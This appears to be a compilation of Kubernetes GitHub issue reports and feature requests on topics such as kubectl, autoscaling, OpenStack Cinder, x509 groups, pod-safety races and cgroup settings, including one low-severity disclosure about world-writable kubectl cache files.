k8s.io/kubernetes/cmd/kubectl/app.run 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/app/kubectl.go:38 +0xd5\r     main.main  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:26 +0x22\r \r i'm running everything on 1.5.1  kube-api/controller/manager/kubelet and kube-proxy \r \r i would expect this to return the nodes, since the node is connected to the api-server, right?\r \r thanks

when using  horizontalpodautoscaler  with scale target that exists in different group than core, we should be able to specify the  group  field for  autoscaling.crossversionobjectreference :\r \r    \r     spec: autoscaling.horizontalpodautoscalerspec{\r       scaletargetref: autoscaling.crossversionobjectreference{                                                                                                                                                                                                                              \r         name: config.name,\r         kind: \ deploymentconfig\ ,                                                                                                                                                                                                                                                     \r         group: \ deploy.openshift.io\ ,\r       },\r       minreplicas: &newmin,                                                                                                                                                                                                                                                                 \r       maxreplicas: int32 max ,\r     },\r

is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.6\r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release :rhel/centos\r -   kernel    e.g.  uname -a  : 3.10\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r on an openstack setup that doesn't enable cinder v1 api, it is possible to get false negative about disk attachment from this  line  https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/openstack/openstack_volumes.go l118 \r \r   what you expected to happen  :\r kubernetes should work openstack setups that doesn't rely on cinder v1 api.\r \r   how to reproduce it    as minimally and precisely as possible :\r always\r \r   anything else we need to know  :\r @kubernetes/sig-openstack-bugs \r \r cinder v1 api is deprecated. v2 api sdk is available at  gophercloud  https://github.com/gophercloud/gophercloud/tree/master/openstack/blockstorage/v2/volumes  \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r \r   keywords  : x509 authentication certificates cfssl\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :  v1.6.2 \r \r \r   what happened  : when using x509 authentication with a certificate that has multiple organizations in the subject, the first organization is used as the user's group, but the rest are dropped.\r \r   what you expected to happen  : if a certificate has multiple organizations, the authenticated user should have multiple groups in their userinfo.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r i have nailed this down to an  issue  https://github.com/golang/go/issues/12342  with  go1.7   maybe earlier versions as well  and certificates generated with  cfssl . @ericchiang has ran into this in the past: https://github.com/kubernetes-incubator/bootkube/issues/338. full repro steps  and sample cfssl cert  are detailed here: https://github.com/apprenda/kismatic/issues/530 issuecomment-299185580\r \r given that it is an issue with go's stdlib, we can't really do anything at this point, other than upgrading the go version used for building kubernetes. other than that, it might be worth adding a unit test if one doesn't exist yet.

for context see: https://github.com/kubernetes/kubernetes/blob/c0920f75cf75432554ffb3f5eaed0f26598899c3/pkg/kubectl/cmd/util/factory_client_access.go l457-l485\r \r generators are used by folks using kubectl to enforce a certain behavior which is guaranteed to be backward compatible.\r different generators use different conventions for naming, some of which are:\r \r    \r 1. resource/<version of generator>\r 2. resource/<api version>\r 3. <kubectl-command>/<group-name>.<api version>\r 4. ...many more\r    \r we should converge these to adopt standardized nomenclature.\r \r cc @bgrant0607 @pwittrock @kubernetes/sig-cli-misc

so, i am writing a custom auto rescheduler  which should get node metrics  lets take memory usage in this case  and then if it is high reschedule a pod in another node with lesser memory usage. i know that cadvisor picks up the metrics and gives it to heapster which are available at a rest endpoint. i don't have heapster deployed on my server and i use prometheus for scraping metrics. is there any kubernetes api which can be used to directly get node metrics, because i couldn't find any. \r \r

is this a bug report or feature request?  :\r >  \r   what happened  :\r to aid on developer/ops experience, letsencrypt should be natively supported by kubernetes itself on ingress. i am aware of kube lego, but it's a hack, difficult to set up, and unreliable.\r \r   what you expected to happen  :\r kubernetes should auto-provision ssl certificates for each ingress resource created, including renewals.\r \r  \r

api object  controllerrevision  is currently in  apps/v1beta1 . as a prerequisite of moving the  replicaset ,  deployment ,  statefulset , and  daemonset  controllers to use the  apps/v1beta2  apis, we should move  controllerrevision  to  apps/v1beta2 , like what we did to core controller api objects.\r \r @kow3ns @janetkuo \r

is this a bug report or feature request?  :\r  / \r not sure which sig to add yet\r  \r   what happened  :\r ci-kubernetes-e2e-gce-alpha-features is failing beforesuite since 09/02. example failure:\r    \r i0905 17:24:01.360  sep  5 17:24:01.360: info: the status of pod event-exporter-856ccd8698-vjvss is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i0905 17:24:01.361  sep  5 17:24:01.360: info: the status of pod fluentd-gcp-v2.0-44zb6 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i0905 17:24:01.361  sep  5 17:24:01.360: info: the status of pod fluentd-gcp-v2.0-9hfm8 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i0905 17:24:01.361  sep  5 17:24:01.360: info: the status of pod fluentd-gcp-v2.0-qpsbw is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i0905 17:24:01.361  sep  5 17:24:01.360: info: the status of pod kube-dns-7797cb8758-czct8 is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i0905 17:24:01.361  sep  5 17:24:01.360: info: the status of pod kube-proxy-4fwd7 is pending  ready = false , waiting for it to be either running  with ready = true  or failed\r i0905 17:24:01.361  sep  5 17:24:01.360: info: the status of pod kube-proxy-k9xf6 is pending  ready = false , waiting for it to be either running  with ready = true  or failed\r i0905 17:24:01.362  sep  5 17:24:01.360: info: the status of pod kube-proxy-rnw8n is pending  ready = false , waiting for it to be either running  with ready = true  or failed\r i0905 17:24:01.362  sep  5 17:24:01.360: info: the status of pod kubernetes-dashboard-76c679977c-94k8t is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i0905 17:24:01.362  sep  5 17:24:01.360: info: the status of pod metrics-server-5dcccdfb48-9fgdh is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i0905 17:24:01.362  sep  5 17:24:01.360: info: the status of pod npd-v0.4.1-6nhxv is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i0905 17:24:01.362  sep  5 17:24:01.360: info: the status of pod npd-v0.4.1-r7xfr is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i0905 17:24:01.362  sep  5 17:24:01.360: info: the status of pod npd-v0.4.1-zxfkx is running  ready = false , waiting for it to be either running  with ready = true  or failed\r i0905 17:24:01.362  sep  5 17:24:01.360: info: 15 / 31 pods in namespace 'kube-system' are running and ready  592 seconds elapsed \r ...\r i0905 17:29:20.741  sep  5 17:29:20.741: info: error waiting for all pods to be running and ready: 13 / 31 pods in namespace \ kube-system\  are not in running and ready state in 10m0s\r i0905 17:29:20.742  there are too many bad pods. please check log for details.\r i0905 17:29:20.742  failure  915.578 seconds \r i0905 17:29:20.742   beforesuite  beforesuite \r i0905 17:29:20.743  /go/src/k8s.io/kubernetes/_o\r    \r \r ref: https://k8s-testgrid.appspot.com/google-gce gce-alpha-features&width=5&show-stale-tests=\r otoh, ci-kubernetes-e2e-gci-gce-alpha-features does not have the same failure:\r https://k8s-testgrid.appspot.com/google-gce gci-gce-alpha-features&width=5\r

is this a bug report or feature request?  :\r  @kubernetes/sig-api-machinery-bugs \r @kubernetes/sig-scalability-bugs \r umbrella issue: https://github.com/kubernetes/kubernetes/issues/56062\r / \r   what happened  :\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8937 failed with:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:135\r expected error:\r     < errors.errorstring | 0xc42ca80e60>: {\r         s: \ container kube-apiserver-e2e-scalability-master/kube-apiserver is using 1515.359375/1500 mb of memory\ ,\r     }\r     container kube-apiserver-e2e-scalability-master/kube-apiserver is using 1515.359375/1500 mb of memory\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:366\r    \r \r see graph:\r ! gprhyounud8  https://user-images.githubusercontent.com/489420/33978653-161f4ccc-e0a1-11e7-81bf-d4844776fb99.png \r \r \r this is similar to https://github.com/kubernetes/kubernetes/issues/56061\r because of https://github.com/kubernetes/kubernetes/issues/56340 it's hard to see exactly where this started.

when we added resourceversion=0 to reflectors, we didn't properly reason about its impact on nodes.  its current behavior can cause two nodes to run a pod with the same name at the same time, which violates the pod safety guarantees on the cluster.  because the read is not a quorum read from the watch cache, it can be arbitrarily delayed which means a pod that was previously deleted can be resurrected.\r \r scenario:\r \r 1. t1: statefulset controller creates  pod-0   uid 1  which is scheduled to  node-1 \r 2. t2:  pod-0  is deleted as part of a rolling upgrade\r 3.  node-1  sees that  pod-0  is deleted and cleans it up, then deletes the pod in the api\r 4. the statefulset controller creates a second pod  pod-0   uid 2  which is assigned to  node-2 \r 5.  node-2  sees that  pod-0  has been scheduled to it and starts  pod-0 \r 6. the kubelet on  node-1  crashes and restarts, then performs an initial list of pods scheduled to it against an api server in an ha setup  more than one api server  that is partitioned from the master  watch cache is arbitrarily delayed .   node-1  observes a list of pods from before t2\r 7.  node-1  starts  pod-0   uid 1  and  node-2  is already running  pod-0   uid 2 .\r \r this violates pod safety.  since we support ha masters, we cannot use  resourceversion=0  from reflectors on the node, and probably should not use it on the masters.  we can only safely use  resourceversion=0  after we have retrieved at least one list, and only if we verify that resourceversion is in the future.\r \r @kubernetes/sig-apps-bugs @kubernetes/sig-api-machinery-bugs @kubernetes/sig-scalability-bugs this is a fairly serious issue that can lead to cluster identity guarantees being lost, which means clustered software cannot run safely if it has assumed the pod safety guarantee prevents two pods with the same name running on the cluster at the same time.\r \r this is also something that could happen for controllers - during a controller lease failover the next leader could be working from a very old cache and undo recent work done.\r \r no matter what, the first list of a component with a clean state that must preserve \ happens-before\  must perform a live quorum read against etcd to fill their cache.  that can only be done by omitting resourceversion=0.\r \r fixes:\r \r 1. disable resourceversion=0 from being used in reflector list, only use when known safe\r 2. disable resourceversion=0 for first list, and optionally use resourceversion=0 for subsequent calls if we know the previous resourceversion is after our current version  assumes resource version monotonicity  \r 3. disable resourceversion=0 for the first list from a reflector, then send resourceversion=<latest> on subsequent list calls  which causes the watch cache to wait until the resource version shows up .\r 4. perform live reads from kubelet on all new pods coming in to verify they still exist\r \r \r 1 is a pretty significant performance regression, but is the most correct and safest option  just like we enabled quorum reads everywhere .  2 is more complex, and there are a few people trying to remove the monotonicity guarantees from resource version, but would retain most of the performance benefits of using this in the reflector.  3 is probably less complex than 2, but i'm not positive it actually works.  4 is hideous and won't fix other usage.\r \r probably needs to be backported to 1.6.

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r when selecting victims on node in  selectvictimsonnode  https://github.com/kubernetes/kubernetes/blob/master/pkg/scheduler/core/generic_scheduler.go l982 , take pod's  starttime  into account. when two pod's  equal, preempt pod whose  starttime  is later first. \r \r   why is this needed  :\r  if a pod's  starttime  has been running for a longer time, it might finish earlier, or it might have done more things. it might make more sense to preempt them later, e.g. a user submitted a job a at time 9:00 am,  then he submitted a job b at time 10:00 am, he might expect that scheduler preempts pods for job b first.\r \r <!-- do not edit below this line -->\r 

in kubectl v1.8.0+, schema info is cached in the location specified by  --cache-dir   defaulting to  $home/.kube/http-cache  , written with world-writeable permissions  rw-rw-rw- .\r \r if  --cache-dir  is specified and pointed at a different location accessible to other users/groups, the written files may be modified by other users/groups and disrupt the kubectl invocation.\r \r cvss score: cvss:3.0/av:l/ac:h/pr:l/ui:r/s:u/c:l/i:l/a:n  3.3, low \r \r   what versions are affected?  \r kubectl v1.8.0+\r \r   what configurations are affected?  \r invocations that point  --cache-dir  at world-writeable locations\r \r   impact  \r malformed responses written to the cache directory can disrupt the kubectl invocation\r \r   workaround  \r use the default  --http-cache  location in the $home directory or point it at a directory that is only accessible to desired users/groups.\r \r \r \r  original description follows  ====\r what happened: the files inside of \ .kube/http-cache\  are world writeable  rw-rw-rw- . while the default for these files appears to be the home directory, using the \ --cache-dir\  flag could put these files into a place where world writeable files would allow any user / process to modify the cache files. modification of the cache files could influence the kubectl utility in a negative way for other users.\r \r what you expected to happen: apply stricter file permissions to the http-cache files.\r \r how to reproduce it  as minimally and precisely as possible : run any generic kubectl command which is successful and then list the cache directory ~/.kube/http-cache/ \r  \r $ kubectl get pods --all-namespaces\r $ ls -la ~/.kube/http-cache/ \r \r anything else we need to know?: i estimate this is a low severity security issue with a cvss score of \ 3.3 / cvss:3.0/av:l/ac:l/pr:l/ui:n/s:u/c:n/i:l/a:n\  - https://www.first.org/cvss/calculator/3.0 cvss:3.0/av:l/ac:l/pr:l/ui:n/s:u/c:n/i:l/a:n\r \r environment: linux\r  \r kubernetes version  use kubectl version :client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.6\ , gitcommit:\ ab91afd7062d4240e95e51ac00a18bd58fddd365\ , gittreestate:\ clean\ , builddate:\ 2019-02-26t12:49:28z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.6\ , gitcommit:\ ab91afd7062d4240e95e51ac00a18bd58fddd365\ , gittreestate:\ clean\ , builddate:\ 2019-02-26t12:49:28z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r cloud provider or hardware configuration: aws. running kube api server in hyperkube.\r \r os  e.g: cat /etc/os-release :\r name=\ centos linux\ \r version=\ 7.1808  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7.1808  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r ostree_version=7.1808\r  \r kernel  e.g. uname -a : linux hackit.internal 3.10.0-862.11.6.el7.x86_64  1 smp tue aug 14 21:49:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r  \r install tools: manual installation.\r  \r others: n/a\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r   what happened  :\r i installed a cluster with kubeadm  1.14.1  and cgroup driver  systemd  with a custom cpu cfs quota period. pods are unable to start with the following message:\r    \r error: failed to start container \ kube-flannel\ : error response from daemon: oci runtime create failed: container_linux.go:345: starting container process caused \ process_linux.go:424: container init caused \\\ process_linux.go:390: setting cgroup config for prochooks process caused \\\\\\\ failed to write 5000 to cpu.cfs_period_us: write /sys/fs/cgroup/cpu,cpuacct/kubepods.slice/kubepods-pode7dac811_5d23_11e9_8ff8_005056935735.slice/docker-kube-flannel.scope/cpu.cfs_period_us: invalid argument\\\\\\\ \\\ \ : unknown\r    \r if i understand the  cgroup-drivers documentation  https://kubernetes.io/docs/setup/cri/ cgroup-drivers  correct, it's recommended to use the  systemd  driver on a systemd managed os, but this currently blocks us to respect this recommendation. \r \r   please note:  cgroupfs  driver is not affected of this particular problem. if we switch to use  cgroupfs  as driver everything works as expected.  \r \r   what you expected to happen  :\r pods to start with a cfs quota period of 5ms set.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. setup docker on a systemd managed system with the following config in  /etc/docker/daemon.json \r    \r {\r   \ exec-opts\ :  \ native.cgroupdriver=systemd\  ,\r   \ bip\ : \ 10.127.1.1/24\ ,\r   \ log-opts\ : {\r     \ max-size\ : \ 2g\ \r   },\r   \ storage-driver\ : \ overlay2\ ,\r   \ storage-opts\ :  \r     \ overlay2.override_kernel_check=true\ \r    \r }\r    \r  relevant part is the  exec-opts  setting \r \r 2. setup a k8s cluster with kubeadm with at least the following special config\r    \r ---\r apiversion: kubelet.config.k8s.io/v1beta1\r kind: kubeletconfiguration\r featuregates:\r   customcpucfsquotaperiod: true\r cpucfsquotaperiod: 5ms\r    \r \r 3. try to run a pod.\r \r   anything else we need to know?  :\r  docker info  output:\r    \r containers: 19\r  running: 16\r  paused: 0\r  stopped: 3\r images: 9\r server version: 18.09.5\r storage driver: overlay2\r  backing filesystem: xfs\r  supports d_type: true\r  native overlay diff: true\r logging driver: json-file\r cgroup driver: systemd\r plugins:\r  volume: local\r  network: bridge host macvlan null overlay\r  log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog\r swarm: inactive\r runtimes: runc\r default runtime: runc\r init binary: docker-init\r containerd version: bb71b10fd8f58240ca47fbb579b9d1028eea7c84\r runc version: 2b18fe1d885ee5083ef9f0838fee39b62d653e30\r init version: fec3683\r security options:\r  seccomp\r   profile: default\r kernel version: 3.10.0-957.1.3.el7.x86_64\r operating system: red hat enterprise linux server 7.6  maipo \r ostype: linux\r architecture: x86_64\r cpus: 8\r total memory: 15.66gib\r name: e1-k8s-mlsu105\r id: dumm:wjd4:pcrq:z7qh:zoo5:urcb:bwo4:k2bh:db7d:7sfk:6cvu:5hyq\r docker root dir: /var/lib/docker\r debug mode  client : false\r debug mode  server : false\r registry: https://index.docker.io/v1/\r labels:\r experimental: false\r insecure registries:\r  127.0.0.0/8\r live restore enabled: false\r product license: community engine\r    \r \r  /var/lib/kubelet/kubeadm-flags.env content:\r    \r kubelet_kubeadm_args=--cgroup-driver=systemd --network-plugin=cni \r    \r \r related issue: https://github.com/kubernetes/kubernetes/issues/72878 \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.14.1\r - cloud provider or hardware configuration: on-premises\r - os  e.g:  cat /etc/os-release  :\r    \r name=\ red hat enterprise linux server\ \r version=\ 7.6  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r variant=\ server\ \r variant_id=\ server\ \r version_id=\ 7.6\ \r pretty_name=\ red hat enterprise linux server 7.6  maipo \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.6:ga:server\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.6\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.6\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux e1-k8s-mlsu105 3.10.0-957.1.3.el7.x86_64  1 smp thu nov 15 17:36:42 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: kubeadm 1.14.1\r - others: -\r

it seems like the https://github.com/kubernetes/kubernetes/blob/master/pkg/conversion/queryparams/convert.go l62 function is currently handling only go primitive types, so when having a field in a type like this:      go struct foo {   env   envvar }      this field will get no value set as the converter don't know how to convert it to queryparams. additionally, this reveals a bigger problem, when having struct like above, to retain the ordering of fields, there is no indexing being done in that function. i would want to have something like this in post params:      /foo?env.0.name=foo&env.0.value=bar      that said, the  decodeparametersinto    will have to be smarter when parsing the fields. also it would be nice to add self-identification of the fields  to which struct they belongs .

currently the use of docker in the build steps require colocated client and daemon due to filesystem mounts.  we should use docker build instead so that end users can perform build steps from systems that don't have docker locally.  spawned from  22738

i've gotten a request to be able to configure the tls used internally by kubernetes  e.g. specify cipher suites, minimum ssl/tls version, etc. . this will likely be a number of additional options; what would be the preferred method of implementing this? more command line options, a config file, something else?

i noticed we seem to be inconsistent in writing selflink to etcd, for example:       console $ etcdctl get /registry/namespaces/default | jq . | grep -i self $ kubectl get ns default -o yaml | grep -i self   selflink: /api/v1/namespaces/default $ etcdctl get /registry/serviceaccounts/kube-system/default | jq . | grep -i self     \ selflink\ : \ /api/v1/namespaces/kube-system/serviceaccounts/default\ , $ kubectl get serviceaccount default -o yaml | grep -i self   selflink: /api/v1/namespaces/default/serviceaccounts/default      this means the \ old\  object given to  strategy.validateupdate  call probably differs from the \ new\  object with regards to selflink, meaning a reflect.deepequal oldmeta, newmeta  will fail.   i didn't debug much further. i ran into it debugging a petset issue. perhaps it's something the resource authors failed to do that caused this behavior?  @kubernetes/sig-api-machinery

after some testing for the defaulter path, the fastest  and most human efficient way  to access conversion functions is generating a  map struct{ a, b reflect.type } func a, b interface{}, scope  error  map for the convertor to look up.  currently the \ fast-path\  for conversion is a type switch, but tests showed it could be up to 50ns slower.  since the type switch is actually harder to generate and understand, the fast path for conversion should be to generate the  func a, b interface{}, scope  error  wrapper around the  convert_x_to_y .  type switch is hand written today - this would be net simpler.

kubernetes version   \r  client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4+$format:%h$\ , gitcommit:\ $format:%h$\ , gittreestate:\ not a git tree\ , builddate:\ 2016-11-02t03:54:33z\ , goversion:\ go1.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4+$format:%h$\ , gitcommit:\ $format:%h$\ , gittreestate:\ not a git tree\ , builddate:\ 2016-11-02t03:54:33z\ , goversion:\ go1.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  \r \r   environment  \r  name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\  \r \r   what happened  \r \r i create a service by:\r  \r \\- apiversion: v1\r   kind: service\r   metadata:\r     labels:\r       name: test\r     name: test\r     namespace: open\r   spec:\r     clusterip: 10.10.134.208\r     ports:\r     \\- name: http\r       port: 80\r       protocol: tcp\r       targetport: 8080\r     selector:\r       name: test\r     sessionaffinity: none\r     type: clusterip\r   status:\r     loadbalancer: {}\r kind: list\r metadata: {}\r  \r when i access service by http://172.32.148.171:8080/api/v1/proxy/namespaces/open/services/test,i get error messages:\r  {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ no endpoints available for service \\\ test\\\ \ ,\r   \ reason\ : \ serviceunavailable\ ,\r   \ code\ : 503\r } \r \r test pod is running:\r  kubectl get pods --namespace=open\r name          ready     status             restarts   age\r nginx-lkovs   1/1       running            0          2d\r test-a3liy    1/1       running            0          1d\r test-a5io6    1/1       running            0          1d\r  \r \r service endpoint:\r  {\r   \ kind\ : \ endpoints\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ name\ : \ test\ ,\r     \ namespace\ : \ open\ ,\r     \ selflink\ : \ /api/v1/namespaces/open/endpoints/test\ ,\r     \ uid\ : \ 1f4198ef-a33c-11e6-8fc9-525400ec3c90\ ,\r     \ resourceversion\ : \ 601429\ ,\r     \ creationtimestamp\ : \ 2016-11-05t09:42:09z\ ,\r     \ labels\ : {\r       \ name\ : \ test\ \r     }\r   },\r   \ subsets\ :  \r     {\r       \ addresses\ :  \r         {\r           \ ip\ : \ 172.17.42.4\ ,\r           \ nodename\ : \ 172.32.148.174\ ,\r           \ targetref\ : {\r             \ kind\ : \ pod\ ,\r             \ namespace\ : \ open\ ,\r             \ name\ : \ test-a5io6\ ,\r             \ uid\ : \ 1f43a89e-a33c-11e6-8fc9-525400ec3c90\ ,\r             \ resourceversion\ : \ 379610\ \r           }\r         },\r         {\r           \ ip\ : \ 172.17.94.6\ ,\r           \ nodename\ : \ 172.32.148.173\ ,\r           \ targetref\ : {\r             \ kind\ : \ pod\ ,\r             \ namespace\ : \ open\ ,\r             \ name\ : \ test-a3liy\ ,\r             \ uid\ : \ 1f43b915-a33c-11e6-8fc9-525400ec3c90\ ,\r             \ resourceversion\ : \ 379616\ \r           }\r         }\r        ,\r       \ ports\ :  \r         {\r           \ name\ : \ http\ ,\r           \ port\ : 8080,\r           \ protocol\ : \ tcp\ \r         }\r        \r     }\r    \r } \r \r i delete service port name，it working\r  apiversion: v1\r kind: service\r metadata:\r   labels:\r     name: test\r   name: test\r   namespace: open\r spec:\r   ports:\r   \\- protocol: tcp\r     port: 80\r     targetport: 8080\r   selector:\r     name: test\r   type: clusterip\r  \r ! image  https://cloud.githubusercontent.com/assets/23303904/20046578/4faa62da-a4e6-11e6-83a9-5366bd27be68.png \r \r \r \r \r

the federation objects are not currently in client-go.  i believe this makes it hard/impossible to use federation with client-go.  the challenges i hit:\r \r   you would have to refer to the main kubernetes/kuberentes repo again for the federation objects\r   mixing and matching the federation objects from kubernetes/kubernetes is tricky, because for example clusterspec has a secretref field which is of type  k8s.io/kubernetes/pkg/api/v1.localobjectreference , but in client-go view that is  k8s.io/client-go/pkg/api/v1...  which is different.\r \r i think we need to include the federation objects into client-go.\r \r \r \r

dear guys,\r \r i followed the minikube docs to use the command line in my windows \r curl -lo https://storage.googleapis.com/kubernetes-release/release/$ curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt /bin/windows/amd64/kubectl.exe\r \r but i got the error as nosuchkey\r \r then i found out, i had to hack the xml file at url http://storage.googleapis.com/kubernetes-release/\r to find the release i needed. for example, <key>release/v0.16.1/bin/windows/amd64/kubectl.exe</key>\r then i used the combination of the url and the key\r http://storage.googleapis.com/kubernetes-release/release/v0.16.1/bin/windows/amd64/kubectl.exe\r to download the .exe file.\r \r why don't you provide a direct link for windows users to download kubectl.exe?\r \r many thanks,\r jianliang\r \r <!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

tracking issue for tracking work on virtual machine scale set  vmss  support in azure.\r \r i've discussed a little bit with @colemickens and here are some the high level goals for this work:\r \r  edit by @feiskyer and converting it to a list of todos \r \r    x  add vmtype params to support both vmss and standard vm type in azure  55833\r    x  ~~support concurrent creation of service resources~~\r    x  lb rules + lb probes +  lb frontend ip + public ip  57131\r    x  nsg rule \r    x  nic placement in the lb backend.\r    x  support \ bring your own ip\   42034 \r       pvs  depending on https://github.com/azure/azure-sdk-for-go/issues/944   59716\r \r have we got a tracking issue for the broader azure/v2 cloudprovider?  couldn't find one  we can rename this issue and use this as a tracking issue for the whole package, including the manageddisk support which is apparently already underway  @colemickens knows the details . we can then create issues for tracking individual pieces of work? new here, so i'm not sure how this is usually done.\r \r @brendandburns

 \r   what happened  :\r \r validating quantity fields against the openapi spec fails if the value is an integer, however kubernetes happily accepts integers. \r \r   what you expected to happen  :\r \r validating quantity fields should pass for integer or string values.\r \r as noted on https://groups.google.com/forum/ !topic/kubernetes-sig-api-machinery/dlcxrzrwwpu\r \r > this is not really a bug. it's a convenience feature specific to quantity. most of our users write yaml, \r > and it would be tedious to quote numbers, but strings like \ 100m\  are also supported.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r this issue arose with kubeval as https://github.com/garethr/kubeval/issues/22. the issue shows how it was discovered.\r \r   anything else we need to know?  :\r \r worth noting the full type from the openapi spec: \r \r   \r io.k8s.apimachinery.pkg.api.resource.quantity: {\r   type: \ string\ \r },\r    \r \r i think the fix would be for this to be rendered as:\r \r   \r io.k8s.apimachinery.pkg.api.resource.quantity: { \ oneof\ :  \r   { \ type\ : \ integer\  }, \r   { \ type\ : \ string\  }\r  },\r    \r \r /area swagger\r cc @kubernetes/sig-api-machinery-bugs

